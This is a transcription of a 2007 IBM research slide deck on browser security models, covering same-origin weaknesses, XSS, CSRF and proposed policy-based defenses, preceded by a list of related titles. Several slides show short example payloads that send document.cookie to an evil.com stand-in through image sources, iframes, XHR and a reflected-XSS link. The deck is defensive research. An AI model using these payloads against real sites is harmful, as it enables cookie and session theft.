Security Model for the Client-Side Web Application Environments



Similar documents
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Relax Everybody: HTML5 Is Securer Than You Think

A Tale of the Weaknesses of Current Client-Side XSS Filtering

Attacks on Clients: Dynamic Content & XSS

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Thomas Röthlisberger IT Security Analyst

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Project 2: Web Security Pitfalls

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

(WAPT) Web Application Penetration Testing

Next Generation Clickjacking

Network Security Web Security

Defending against XSS,CSRF, and Clickjacking David Bishop

A Tale of the Weaknesses of Current Client-side XSS Filtering

The Web s Security Model. Who am I?

Where every interaction matters.

Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense

Exploiting Web 2.0 Next Generation Vulnerabilities

What is Web Security? Motivation

Check list for web developers

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

Protecting Browser State from Web Privacy Attacks. Collin Jackson, Andrew Bortz, Dan Boneh, John Mitchell Stanford University

Web Application Security

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

Hack Proof Your Webapps

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Web application security

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Protecting Web Applications and Users

HTML5. Eoin Keary CTO BCC Risk Advisory.

NoSQL, But Even Less Security Bryan Sullivan, Senior Security Researcher, Adobe Secure Software Engineering Team

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Sitefinity Security and Best Practices

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Security features of ZK Framework

Web Application Security Considerations

Web-Application Security

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

The Top Web Application Attacks: Are you vulnerable?

Preparing for the Cross Site Request Forgery Defense

Client-side Web Engineering From HTML to AJAX

Application security testing: Protecting your application and data

RTC-Web Security Considerations

Cross-Site Scripting

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Cross Site Scripting Prevention

Web Same-Origin-Policy Exploration Lab

Blackbox Reversing of XSS Filters

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

Gateway Apps - Security Summary SECURITY SUMMARY

Recent Advances in Web Application Security

The Dark Side of Ajax. Jacob West Fortify Software

Hacking Web Apps. Detecting and Preventing Web Application Security Problems. Jorge Blanco Alcover. Mike Shema. Technical Editor SYNGRESS

Basic & Advanced Administration for Citrix NetScaler 9.2

Analysis of Browser Defenses against XSS Attack Vectors

Ruby on Rails Secure Coding Recommendations

Complete Cross-site Scripting Walkthrough

Web Application Guidelines

Recommended Practice Case Study: Cross-Site Scripting. February 2007

EECS 398 Project 2: Classic Web Vulnerabilities

Survey on JavaScript Security Policies and their Enforcement Mechanisms in a Web Browser

Sichere Webanwendungen mit Java

Hacking de aplicaciones Web

External Network & Web Application Assessment. For The XXX Group LLC October 2012

ECE458 Winter Web Security. Slides from John Mitchell and Vitaly Shmatikov (Modified by Vijay Ganesh)

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Intrusion detection for web applications

Secure Coding. External App Integrations. Tim Bach Product Security Engineer salesforce.com. Astha Singhal Product Security Engineer salesforce.

Chapter 1 Web Application (In)security 1

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Security Testing with Selenium

Criteria for web application security check. Version

OWASP Top Ten Tools and Tactics

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

XSS-GUARD : Precise Dynamic Prevention of Cross Site Scripting (XSS) Attacks

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Advanced XSS. Nicolas Golubovic

Exploitation of Cross-Site Scripting (XSS) Vulnerability on Real World Web Applications and its Defense

JavaScript Security. John Graham Cumming

Web Application Security

Institutionen för datavetenskap

Protection, Usability and Improvements in Reflected XSS Filters

AJAX and JSON Lessons Learned. Jim Riecken, Senior Software Engineer, Blackboard Inc.

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

HTTPParameter Pollution. ChrysostomosDaniel

Securing your Web application

DNS REBINDING DENIS BARANOV, POSITIVE TECHNOLOGIES

Members of the UK cyber security forum. Soteria Health Check. A Cyber Security Health Check for SAP systems

Cross-site site Scripting Attacks on Android WebView

Web App Security Keeping your application safe Joe Walker

Web Application Security

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Security starts in the head(er)

Transcription:

Security Model for the Client-Side Web Application Environments May 24, 2007 Sachiko Yoshihama, Naohiko Uramoto, Satoshi Makino, Ai Ishida, Shinya Kawanaka, and Frederik De Keukelaere IBM Tokyo Research Laboratory

Current Browser Security Model The Same-Origin model Documents originated from different domains (servers) cannot access each other s content x.com domain http://x.com/ http://z.com/z.js import download z.com Isolation at windows and frames; imported script will run as if it is part of the main HTML file XMLHttpRequest (XHR) connections are limited only to the same domain <script src= http://z.com/z.js > <script> window.open( http://y.com/foo ) Open new window http://y.com/foo download XHR XHR x.com y.com y.com domain download 2

The Same-Origin Model Assumptions Contents from a single server can trust each other Browsers can isolate contents from each origin Assumptions are Broken Contents from a single server cannot trust each other Intended: mashup, Web mail, wiki, SNS Unintended: Cross-Site Scripting (XSS) Browsers cannot isolate contents from each origin Cross-domain network access is possible via linkable attributes Hidden Information flow in browser semantics It s time to think about a new browser model that really works! 3

Broken Browser Security Model: Examples Checks only the protocol, port and server name, does not distinguish the path http://host.com/~alice and http://host.com/~bob are the same domain Network access via linkable attributes can bypass the same-origin policy e.g., use of <img src= > attributes or Remote JSON document.images[0].src = http://evilcom/cgi?cookie= + document.cookie; <script src= http://evil.com/?callback=myfunc /> 4 Browsers allow to override document.domain to the super domain www.ibm.com, -> ibm.com ->.com Two frames/windows with the same overridden domain can communicate each other

Browser APIs that can be misused by Attackers When the cross-domain assumption is broken DOM DOM Event Sandbox for JavaScript application 5 A Browser Resources window object global functions Local OS Resources Document A 3 2 4 M 1 XMLHttpRequest Linkable Attributes 1. Network Access via XMLHttpRequest or linkable attributes (e.g., script_src) 2. Access to subdocument Reading/Writing Data Code Overriding Event handler overriding 3. Access to sensitive window object properties, including global JavaScript functions and variables 4. Access to sensitive document properties 5. Information flow by events Local Flies Network Ports etc... 5

Fine-Grained Sand-box model the <module> tag by Doug Crockford Sand-box model for mashup components <module id="name" src="url" style="style" /> Exempt from the same-origin policy Allows send/receive of JSON string between the parent document and child module * The <module> Tag: A Proposed Solution to the Mashup Security Problem, http://json.org/module.html 6

Observation of the <module> tag Fail-safe with browsers which does not support <module> When the <module> tag is ignored, contents won t be loaded Alternative: sandboxing a DOM sub-tree not good <sandbox> some text <script>do something </script> </sandbox> Limited communication capability Allows only 1-to-1 communication between parent and child Need more work for broadcasting, or communication between two modules Network access control is not mentioned 7

Alternative: Policy-Based Msg Hub as Part of Browser Pub/Sub based Communication Hub Allows effective n-to-n async communication and conversation between modules Multiple named channels Declarative Policy-Based access control on each channel Single point of policy enforcement as part of browser (TCB) Policy Integrity to be protected from application External file reference through <link>, not modifiable after initial page loading Inter-Module Policy {A, pub, X} {B, sub, X} {C, pub, Y} Main HTML A Module B Module C Msg Hub ch X ch Y Browser 8

Policy-Based Network Access Control Enforces policies on all means of network access from each module rule: { subject, access_type, destination_prefix } E.g., { A, img_src, http://a.com/~alice } { A, script_src, http://somewhere.com/jslib } { B, XMLHttpRequest, http://a.com/something } { B, *, http://b.com/ } 9

That s all for the Browser Security? No Still not a solution for script injection attacks 10

Cross-Site Scripting (XSS) Stored XSS Malicious JavaScript is persistently stored on the target server (e.g., database, BBS) Reflected XSS Injected code is reflected off the web server, e.g., in an error message What XSS can do Steals sensitive information from user and send to attacker s server; e.g., cookie, keystrokes [Confidentiality] Compromise integrity of the web page (wrong information) [Integrity] Issues privileged commands to innocent servers [Integrity] DoS attacks; e.g., open many browser windows [Availability] Most of the problems converge upon information flow control problem 11

Information-Flow Control to Prevent XSS Confidentiality Attacks [Vogt2007] Detects malicious flow of sensitive information to a remote attacker Mostly dynamic, language-based taint propagation document.getelementbyid( x").innerhtml = document.cookie; var ck = document.getelementbyid( x").innerhtml; // ck is tainted document.images[0].src = http://evil.com/?data= + ck ; Detect when the tainted data is transferred to a third party, e.g., Changing img_src, document.location, Submitting a form, Using XMLHttpRequest * Vogt et al., Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis, NDSS 2007 12

Iframe Insertion Attack <iframe name= > window.name http://trusted.com/ node.innerhtml = <iframe src= http://evil.com/ name= + document.cookie + /> Injected code trusted.com Iframe (http://evil.com/) Download content xmlhttprequest.open( POST, http://evil.com/steal? + window.name); Send cookie evil.com 13

Hidden Information Flow via built-in Browser Properties frame.location window.location X.com: window.frames[0].location = http://y.com/#hello Y.com var msg = window.location; // can read hello <frame src= > document.location X.com: document.getelementbyid( my_iframe ).src = http://y.com/#hello Y.com: var msg = document.location; // can read hello window.open() window.name x.com: window.open( http://y.com, hello ); y.com: var msg = window.name; // can read hello 14

Integrity Attacks trustedpizza.com (innocent) Injected code document.images[0].src= http://trust edpizza.com/?cmd=buypizza&num= 100 document. getelementbyid( price ).innerhtm L = Free Pizza Today! ; Pizza Menu: -Margarita $10.00 Free Pizza Toady! -Sea Food $12.00 Free Pizza Toady! Issues illegal remote commands while user is not aware (XSS-based CSRF) trustedpizza.com Page Integrity Modify the information on the web page to cheat users 15

How can we prevent integrity attacks? Script-Origin-Based Access Control? Possible when script is imported and origin can be identified Cannot detect XSS embedded in the initial HTML DOM-Level Access Control? Associates trusted labels on DOM nodes that are allowed to execute script (i.e., white-list policy) Black-list approach is not practical 16

Conclusion Rethinking New Browser Security Model Declarative Policy Based Security Mechanisms Allows policy analysis to understand analysis and detect vulnerabilities Run-time information flow tracking to detect attacks Understand and prevent hidden information flow in HTML spec and browser implementation Challenges Migration from old web applications Existing Web Application securely runs in new model without modification Existing Web Application can be automatically translated into new model Requires manual re-programming Backward Compatibility Need browser capability reporting/negotiation for content adaptation Fail Safe by Default Security assumption in the Web application based on new model should not be exploited in old browsers 17

backup 18

Proposed Security Functionalities for Next-Gen Web Browsers Fine-Grained Sand-box model Finer-grained than window or frame More flexible access control policy than the same-origin policy JavaScript Security Code-Origin based access control Namespace separation Access Control on Network Control access to remote servers via use of linkable attributes Extending the same-origin policy to the URL expressions E.g., http://host.com/~alice and http://host.com/~bob should be different domains 19

Reflected XSS Example HTML from evil.com <a href="http://www.trusted.com/ <script> document.location= http://www.evil.com/steal-cookie.php? +document.cookie </script> "> </a> http req to www.trusted.com GET /<script>document.location= http://www.evil.com/steal-cookie.php? +document.cookie</script> HTTP/1.1 HTML returned from www.trusted.com <p>error! File Not Found:</p> Filename : <script>document.location= http://www.evil.com/steal-cookie.php? +document.cookie</script> 20

Cross-Site Request Forgery (CSRF) Identified in 2005 Tricks a user into issuing commands to the web server without knowing. Access from a static hyperlink or script in the attacker s web page to an innocent web page. Does not require malicious script to be injected into the innocent web page. Works either on GET or POST methods. What an attacker can do: Issue commands to the web server which requires authorization (add/remove users in SNS, send web mail ) Steal information (either in HTML or async messages such as JSON) JavaScript Hijacking (Fority report, March 12, 2007) is a variant of CSRF CSRF + object setter overriding 21

Broken Authentication Model Enables Cross-Site Request Forgery (CSRF) Attacks Client T1 Server Login-page(Before authentication) User/pw T1 Server Login-page(Before authentication) User/pw T2 Authenticated msg. +Set-cookie do T2 Authenticated msg +Set-cookie GET T3 +Cookie T3 Authorized access With cookies M1 Attacker triggers Access GET T3 +Cookie 22 T3 Authorized access With cookies

Countermeasures for CSRF Verify the Referrer HTTP Header on the server-side Referrer header is optional and not supported by some browsers Insert secret token in the HTTP request parameter, e.g., by using hidden field E.g., S->C:<input type= hidden name= _secret_ value= xyz /> C->S: GET /path?_secret_=xyz Modify the server-side application, or use rewriting proxy Add new Cookie option, e.g., valid-only-from-pages-in-the-samedomain Backward-compatibility is a problem Unfortunately, none of above can prevent XSS-based CSRF 23

Cookie Headers Server -> Client Set-Cookie: <name>=<value>[; <name>=<value>]... [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure] Client -> Server Cookie: <name>=<value> [;<name>=<value>]... 24

Class of Attacks XSS - Script Injection Steal information communication back to the remote attacker (e.g., cookie theft) Countermeasure: Access Control on network via linkable attributes Vogt et al., Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis, NDSS 2007 Don t steal information compromise content integrity Changes information on the page (e.g., wrong price) Countermeasure:? Issues privileged commands to the server (like CSRF) Countermeasure:? Phishing tricks user into navigating to a malicious sites via links CSRF - No Script Injection Issues privileged commands Countermeasure: Better authentication than cookie Steal information through JavaScript hijacking Countermeasure: Better authentication than cookie 25

Web 2.0 IBM Research, Tokyo Research Laboratory - Nature of Web 2.0 user collaboration (blog, wiki ) - AJAX = Async + JavaScript + XML - Dynamic HTML to update data and stylesheet of the web page through DOM manipulation -Mashup integrates services into a single user experience SERVICES Login Service CLIENT Find Banks near You SERVER SOAP Bank Server Legacy Input validation Address: Password: X H R http JSON XML Service call Output generation REST AD Banner Service Advertisement banner Web API Google Map 26

Two modes of asynchronous communication XMLHttpRequest Browser API to make HTTP connections to servers Can use GET and POST methods Restricted by the same-origin policy often used with AJAX proxy to bypass the same-origin policy Remote JSON JSON: JavaScript Object Notation Send information using a <script> tag <script src= http://x.com/send?val={name: sachiko,job: ibm } /> Receive information either via a callback-function or a global variable function myfunc(data) { /* process data */ } <script src= http://x.com/send?val={name: sachiko,job: ibm }&callback=myfunc /> Can use only GET method Not restricted by the same-origin policy 27

Security Enhanced Web Client Web 1.0 Security Model the same-domain Policy Documents originated from different domains (servers) cannot access each other s content XMLHttpRequest connections are limited only to the same domain Problems Many ways to bypass: e.g., use of JSON and linkable attributes e.g., <script src= /> <img src= > Browsers allow to relax the domain to the super domain E.g., www.ibm.com -> ibm.com ->.com Checks only the server name, does not distinguish the path http://host.com/~alice and http://host.com/~bob The same-domain policy does not make sense in Web2.0 Needs for mashup The content from the same domain may consists of data from various sources (Blogs, Wikis, Social Network Services ) Component model is not a cure-all Vulnerable to cross-site scripting Not all developers may follow the component programming model because presentation is more important than security ;) 28

Access Control on Network Control access to remote servers via use of linkable attributes Simple list of URL expressions for allow-access to Applies to any forms of network accesses Preventing CSRF Mandate the Referrer header Cons: currently the Referrer header is optional New must-be-chained option in the Set-Cookie header The cookie will be sent only when the referrer page is in the same domain Cons: old browsers may ignore the option New has-chained option in the Cookie header Indicates whether the referrer page is in the same domain Cons: again, old browsers may ignore the option 29